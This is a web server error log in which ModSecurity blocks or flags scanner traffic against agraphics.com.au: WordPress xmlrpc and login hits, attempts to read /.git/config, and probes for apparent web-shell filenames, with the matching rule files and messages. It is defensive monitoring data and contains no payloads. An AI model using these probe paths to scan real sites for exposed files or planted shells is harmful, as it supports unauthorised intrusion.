[Wed Apr 08 10:20:02.962297 2026] [:error] [pid 47625:tid 47650] [client 206.189.38.142:64082] [client 206.189.38.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "adW7UiVuHyNWzZlE8PBkXAAAABA"]
[Wed Apr 08 10:20:03.142328 2026] [:error] [pid 47625:tid 47645] [client 206.189.38.142:64326] [client 206.189.38.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "adW7UyVuHyNWzZlE8PBkXwAAAAs"]
[Wed Apr 08 10:20:03.364088 2026] [:error] [pid 49984:tid 49998] [client 206.189.38.142:64362] [client 206.189.38.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "adW7U-YY_Bz5lRHcJIFH5QAAAUg"]
[Wed Apr 08 10:20:03.559052 2026] [:error] [pid 47625:tid 47652] [client 206.189.38.142:64414] [client 206.189.38.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "adW7UyVuHyNWzZlE8PBkZAAAABI"]
[Wed Apr 08 12:01:48.583692 2026] [:error] [pid 7922:tid 7999] [client 85.187.40.161:49190] [client 85.187.40.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.187.40.161, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adXTLBg_nWSurqPNt5PUNgAAAJQ"]
[Wed Apr 08 12:01:48.597957 2026] [proxy_fcgi:error] [pid 7922:tid 7999] [client 85.187.40.161:49190] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 12:02:08.636735 2026] [:error] [pid 8833:tid 8901] [client 27.5.215.83:57980] [client 27.5.215.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.5.215.83, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adXTQNTtZOOOcQYV_gZF-AAAAIs"]
[Wed Apr 08 12:02:08.647978 2026] [proxy_fcgi:error] [pid 8833:tid 8901] [client 27.5.215.83:57980] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 12:18:45.706333 2026] [:error] [pid 12453:tid 12458] [client 176.227.240.89:35544] [client 176.227.240.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.227.240.89, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adXXJRjtW7S6XsLPvrTjHQAAAIM"]
[Wed Apr 08 12:18:45.715997 2026] [proxy_fcgi:error] [pid 12453:tid 12458] [client 176.227.240.89:35544] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 12:35:36.233804 2026] [:error] [pid 12385:tid 12407] [client 104.131.63.159:54268] [client 104.131.63.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "adXbGCAjtvRQEkLosq3jxQAAABI"]
[Wed Apr 08 12:35:40.665505 2026] [:error] [pid 12490:tid 12502] [client 104.131.63.159:51626] [client 104.131.63.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "adXbHG1Fea4F4fbumr0YYQAAAMo"]
[Wed Apr 08 13:49:02.308092 2026] [:error] [pid 12453:tid 12470] [client 189.239.128.140:62374] [client 189.239.128.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.239.128.140, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adXsThjtW7S6XsLPvrQj7QAAAI8"]
[Wed Apr 08 13:49:02.332519 2026] [proxy_fcgi:error] [pid 12453:tid 12470] [client 189.239.128.140:62374] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 15:39:38.717418 2026] [:error] [pid 35642:tid 35659] [client 5.180.61.91:46566] [client 5.180.61.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.180.61.91, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adYGOg-CqryxdEs5DN-sKAAAAE8"]
[Wed Apr 08 15:39:38.726656 2026] [proxy_fcgi:error] [pid 35642:tid 35659] [client 5.180.61.91:46566] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 15:39:39.419587 2026] [:error] [pid 12385:tid 12389] [client 5.180.61.91:21604] [client 5.180.61.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.180.61.91, incrementing brute counter"] [hostname "www.agraphics.com.au"] [uri "/wp-login.php"] [unique_id "adYGOyAjtvRQEkLosq09DgAAAAA"]
[Wed Apr 08 15:39:39.423900 2026] [proxy_fcgi:error] [pid 12385:tid 12389] [client 5.180.61.91:21604] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 16:14:49.550002 2026] [:error] [pid 12490:tid 12497] [client 24.85.19.121:50047] [client 24.85.19.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.85.19.121, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYOeW1Fea4F4fbumr0-KgAAAMU"]
[Wed Apr 08 16:14:49.560459 2026] [proxy_fcgi:error] [pid 12490:tid 12497] [client 24.85.19.121:50047] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 16:15:12.371710 2026] [:error] [pid 12385:tid 12390] [client 160.25.186.194:57061] [client 160.25.186.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.25.186.194, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYOkCAjtvRQEkLosq1KXAAAAAE"]
[Wed Apr 08 16:15:12.382958 2026] [proxy_fcgi:error] [pid 12385:tid 12390] [client 160.25.186.194:57061] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 16:15:23.536836 2026] [:error] [pid 12490:tid 12506] [client 117.200.127.33:64628] [client 117.200.127.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.200.127.33, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYOm21Fea4F4fbumr0_eAAAAM4"]
[Wed Apr 08 16:15:23.541015 2026] [proxy_fcgi:error] [pid 12490:tid 12506] [client 117.200.127.33:64628] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 16:15:27.447408 2026] [:error] [pid 12453:tid 12463] [client 103.151.46.100:43589] [client 103.151.46.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.151.46.100, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYOnxjtW7S6XsLPvrSNKgAAAIg"]
[Wed Apr 08 16:15:27.451081 2026] [proxy_fcgi:error] [pid 12453:tid 12463] [client 103.151.46.100:43589] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 16:16:10.071174 2026] [:error] [pid 12386:tid 12428] [client 103.147.209.162:6195] [client 103.147.209.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.147.209.162, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYOyhLhhLtqHi2gK7WzHwAAAQw"]
[Wed Apr 08 16:16:10.081436 2026] [proxy_fcgi:error] [pid 12386:tid 12428] [client 103.147.209.162:6195] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 16:16:41.964078 2026] [:error] [pid 12490:tid 12503] [client 41.60.164.142:63216] [client 41.60.164.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.60.164.142, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYO6W1Fea4F4fbumr1B1gAAAMs"]
[Wed Apr 08 16:16:41.974596 2026] [proxy_fcgi:error] [pid 12490:tid 12503] [client 41.60.164.142:63216] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 16:18:17.534077 2026] [:error] [pid 35642:tid 35653] [client 171.79.45.29:55731] [client 171.79.45.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.79.45.29, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYPSQ-CqryxdEs5DN_MRwAAAEk"]
[Wed Apr 08 16:18:17.547174 2026] [proxy_fcgi:error] [pid 35642:tid 35653] [client 171.79.45.29:55731] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:15:23.831554 2026] [:error] [pid 12385:tid 12393] [client 180.242.4.50:55881] [client 180.242.4.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.242.4.50, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYcqyAjtvRQEkLosq1fsQAAAAQ"]
[Wed Apr 08 17:15:23.841538 2026] [proxy_fcgi:error] [pid 12385:tid 12393] [client 180.242.4.50:55881] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:27:15.471801 2026] [:error] [pid 12490:tid 12505] [client 154.144.253.26:32442] [client 154.144.253.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.144.253.26, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYfc21Fea4F4fbumr2KLQAAAM0"]
[Wed Apr 08 17:27:15.484118 2026] [proxy_fcgi:error] [pid 12490:tid 12505] [client 154.144.253.26:32442] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:27:27.991145 2026] [:error] [pid 35642:tid 35664] [client 103.90.156.57:51067] [client 103.90.156.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.90.156.57, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYffw-CqryxdEs5DN_9vgAAAFQ"]
[Wed Apr 08 17:27:27.995258 2026] [proxy_fcgi:error] [pid 35642:tid 35664] [client 103.90.156.57:51067] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:27:33.490422 2026] [:error] [pid 12490:tid 12514] [client 154.159.254.219:14103] [client 154.159.254.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.159.254.219, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYfhW1Fea4F4fbumr2KdQAAANY"]
[Wed Apr 08 17:27:33.495908 2026] [proxy_fcgi:error] [pid 12490:tid 12514] [client 154.159.254.219:14103] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:27:50.219381 2026] [:error] [pid 12490:tid 12493] [client 182.8.65.138:10662] [client 182.8.65.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.8.65.138, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYflm1Fea4F4fbumr2KmAAAAME"]
[Wed Apr 08 17:27:50.231804 2026] [proxy_fcgi:error] [pid 12490:tid 12493] [client 182.8.65.138:10662] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:27:51.448796 2026] [:error] [pid 12490:tid 12496] [client 110.225.22.193:56178] [client 110.225.22.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.225.22.193, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYfl21Fea4F4fbumr2KowAAAMQ"]
[Wed Apr 08 17:27:51.454633 2026] [proxy_fcgi:error] [pid 12490:tid 12496] [client 110.225.22.193:56178] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:27:51.620612 2026] [:error] [pid 12490:tid 12504] [client 182.187.162.246:60333] [client 182.187.162.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.187.162.246, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYfl21Fea4F4fbumr2KpgAAAMw"]
[Wed Apr 08 17:27:51.626150 2026] [proxy_fcgi:error] [pid 12490:tid 12504] [client 182.187.162.246:60333] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:27:51.715616 2026] [:error] [pid 12490:tid 12499] [client 182.178.86.107:57546] [client 182.178.86.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.178.86.107, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYfl21Fea4F4fbumr2KqQAAAMc"]
[Wed Apr 08 17:27:51.723790 2026] [proxy_fcgi:error] [pid 12490:tid 12499] [client 182.178.86.107:57546] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:27:52.788077 2026] [:error] [pid 12490:tid 12510] [client 202.47.36.206:61353] [client 202.47.36.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.47.36.206, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYfmG1Fea4F4fbumr2KrgAAANI"]
[Wed Apr 08 17:27:52.793942 2026] [proxy_fcgi:error] [pid 12490:tid 12510] [client 202.47.36.206:61353] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:27:58.291875 2026] [:error] [pid 12490:tid 12509] [client 110.225.22.193:64217] [client 110.225.22.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.225.22.193, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYfnm1Fea4F4fbumr2KyQAAANE"]
[Wed Apr 08 17:27:58.297528 2026] [proxy_fcgi:error] [pid 12490:tid 12509] [client 110.225.22.193:64217] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:33:13.348099 2026] [:error] [pid 12490:tid 12505] [client 114.198.138.124:58981] [client 114.198.138.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 114.198.138.124, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYg2W1Fea4F4fbumr2POwAAAM0"]
[Wed Apr 08 17:33:13.360172 2026] [proxy_fcgi:error] [pid 12490:tid 12505] [client 114.198.138.124:58981] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 17:38:55.628855 2026] [:error] [pid 12490:tid 12494] [client 49.43.114.201:54328] [client 49.43.114.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.114.201, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adYiL21Fea4F4fbumr2UZgAAAMI"]
[Wed Apr 08 17:38:55.640294 2026] [proxy_fcgi:error] [pid 12490:tid 12494] [client 49.43.114.201:54328] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:24:33.695547 2026] [:error] [pid 12490:tid 12515] [client 20.123.35.2:22457] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "adZlIW1Fea4F4fbumr0ikQAAANc"]
[Wed Apr 08 22:24:35.421244 2026] [:error] [pid 7047:tid 7050] [client 20.123.35.2:36621] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "adZlI-Nh3oGO3pKiCzw_swAAAYE"]
[Wed Apr 08 22:24:38.330501 2026] [:error] [pid 35642:tid 35649] [client 20.123.35.2:36656] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "adZlJg-CqryxdEs5DN9rCQAAAEU"]
[Wed Apr 08 22:24:41.179894 2026] [:error] [pid 12453:tid 12472] [client 20.123.35.2:36626] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "adZlKRjtW7S6XsLPvrRTYAAAAJE"]
[Wed Apr 08 22:24:50.767879 2026] [:error] [pid 64066:tid 64084] [client 20.123.35.2:23161] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uwu2.php"] [unique_id "adZlMlR3WucJgr2vZGZpoAAAAU8"]
[Wed Apr 08 22:24:53.807533 2026] [:error] [pid 35642:tid 35659] [client 20.123.35.2:18565] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uwu2.php"] [unique_id "adZlNQ-CqryxdEs5DN9rEAAAAE8"]
[Wed Apr 08 22:24:55.902615 2026] [:error] [pid 64066:tid 64071] [client 20.123.35.2:18602] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uwu2.php"] [unique_id "adZlN1R3WucJgr2vZGZppwAAAUI"]
[Wed Apr 08 22:25:00.734880 2026] [:error] [pid 7047:tid 7065] [client 20.123.35.2:5194] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "adZlPONh3oGO3pKiCzw_yAAAAZA"]
[Wed Apr 08 22:25:03.546849 2026] [:error] [pid 12490:tid 12514] [client 20.123.35.2:18413] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "adZlP21Fea4F4fbumr0i2gAAANY"]
[Wed Apr 08 22:25:09.082608 2026] [:error] [pid 64066:tid 64079] [client 20.123.35.2:16047] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "adZlRVR3WucJgr2vZGZp2wAAAUo"]
[Wed Apr 08 22:25:11.625437 2026] [:error] [pid 64066:tid 64089] [client 20.123.35.2:18184] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "adZlR1R3WucJgr2vZGZp5QAAAVQ"]
[Wed Apr 08 22:25:13.108043 2026] [:error] [pid 12490:tid 12502] [client 20.123.35.2:25494] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "adZlSW1Fea4F4fbumr0i-AAAAMo"]
[Wed Apr 08 22:25:17.440450 2026] [:error] [pid 7047:tid 7053] [client 20.123.35.2:6111] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "adZlTeNh3oGO3pKiCzw_1wAAAYQ"]
[Wed Apr 08 22:25:20.512670 2026] [:error] [pid 7047:tid 7061] [client 20.123.35.2:19598] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "adZlUONh3oGO3pKiCzw_2wAAAYw"]
[Wed Apr 08 22:25:23.462794 2026] [:error] [pid 64066:tid 64091] [client 20.123.35.2:5546] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "adZlU1R3WucJgr2vZGZqDgAAAVY"]
[Wed Apr 08 22:25:26.503208 2026] [:error] [pid 64066:tid 64091] [client 20.123.35.2:16558] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adZlVlR3WucJgr2vZGZqHAAAAVY"]
[Wed Apr 08 22:25:31.434163 2026] [:error] [pid 35642:tid 35653] [client 20.123.35.2:23813] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "adZlWw-CqryxdEs5DN9rNQAAAEk"]
[Wed Apr 08 22:25:42.121496 2026] [:error] [pid 7189:tid 7211] [client 20.123.35.2:17877] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zews.php"] [unique_id "adZlZhaBqhBSu0L37lrvBAAAAdQ"]
